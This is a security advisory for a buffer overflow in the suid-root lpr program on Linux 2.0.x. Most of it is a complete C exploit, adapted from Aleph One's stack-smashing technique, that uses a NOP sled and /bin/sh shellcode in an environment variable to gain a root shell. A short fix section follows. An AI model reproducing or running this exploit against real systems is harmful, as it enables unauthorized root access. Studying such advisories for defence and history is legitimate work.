COMMAND

    lpr

SYSTEMS AFFECTED

    Linux 2.0.0, 2.0.30 (SW 3.0)

PROBLEM

    a42n8k9 has found a buffer overflow condition in the lpr  program.
    The source code used was from BSD 4.4 and tested Linux 2.0.0   The
    size of the buffer to target is 1023 bytes, which can be  verified
    by  creating  a  string  of  1023  characters  and using it as the
    filename:

	lpr ffffffffff.......ffff (to 1023 characters)

    Below is an  exploit to show  that the overflow  can yield a  root
    shell due to the fact that lpr is suid root.

    ------- BEGIN HERE------------------------------------------------
    /*
     * lpr_exploit.c - Buffer overflow exploit for the lpr program.
     * Adapted from code found in "stack smashing..." by Aleph One
     *                         aleph1@underground.org
     *
     * "wisdom is knowledge passed from one to another",  Thanks
     * Aleph1
     *
     * This program takes  advantage of the buffer  overflow condition
     * preset in lpr program.  This program is meant as  demonstration
     * only,  and the  author claims  no resposibility  for its use or
     * misuse.  - a42n8k9
     */

    #include <stdlib.h>

    #define DEFAULT_OFFSET          1023
    #define DEFAULT_BUFFER_SIZE     2289
    #define NOP                     0x90

    /*
     * The hex representation of the code to produce an interactive shell.
     * Oviously since this is for a Linux Box, you may need to generate the
     * right set for your OS if you are porting this to another UNIX system.
     */
    char shellcode [] =

    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long get_sp(void)
       { __asm__("mov %esp,%eax"); }

    void main(int argc, char *argv[]) {
       char *buff, *ptr;
       long *addr_ptr, addr;
       int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
       int i;

       /* set aside the memory for our shell code */
       if (!(buff = malloc(bsize))) {
	  printf("Can't allocate memory.\n");
	  exit(0);
       }

       /* Get the address of our stack pointer */
       addr = get_sp() - offset;

       /* fill our buffer with its address */
       ptr = buff;
       addr_ptr = (long *)ptr;
       for(i = 0; i<bsize; i+=4)
	 *(addr_ptr++) = addr;

       /* fill the first half of the buffer with NOPs */
       for(i=0;i<bsize/2;i++)
	    buff[i] = NOP;

       /* add in our shell code */
       ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
       for(i=0;i<strlen(shellcode);i++)
	 *(ptr++) = shellcode[i];

       /* terminate the string */
       buff[bsize - 1] = '\0';

       /* load the string into an environment variable */
       memcpy(buff,"EGG=",4);
       putenv(buff);

       /*
	* execute the shell command, thus exploiting the overflow
	* since lpr is suid root, a root shell will be spawned
	*/
       system("lpr $EGG");
    }
    -------- END HERE ------------------------------------------------

SOLUTION

    In RedHat  Linux 4.1,  lpr-0.13-1, the  buffer overflow  is caught
    and the  exploit will  not work.  It appears  to already have been
    fixed.

    Workaround would be to use the strncat in source where bug is  but
    that would  stop lpr  from processing  a file  with a name greater
    than BUFSIZ characters.

    The following URL (Linux Security FAQ) provides information  about
    available fixes:

    http://www.redhat.com/linux-info/security/linux-alert/1996-November/0004.html